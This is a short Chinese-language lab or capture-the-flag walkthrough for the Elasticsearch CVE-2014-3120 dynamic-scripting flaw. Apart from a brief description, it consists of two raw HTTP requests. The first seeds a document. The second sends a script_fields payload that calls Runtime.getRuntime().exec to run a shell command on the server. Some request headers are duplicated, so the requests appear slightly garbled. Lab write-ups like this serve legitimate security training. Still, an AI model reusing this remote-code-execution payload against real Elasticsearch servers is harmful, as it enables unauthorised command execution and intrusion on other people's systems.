ElasticsearchCVE-2014-3120
名称: elasticsearch-cve_2014_3120
描述:
Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。
ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码，远程执行任意MVEL表达式和Java代码。
解题方法
1、需要es中至少存在一条数据
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| POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Content-Length: 37
{
"name": "phithon"
}
|
2、执行查看flag
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| POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Content-Length: 425
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
|
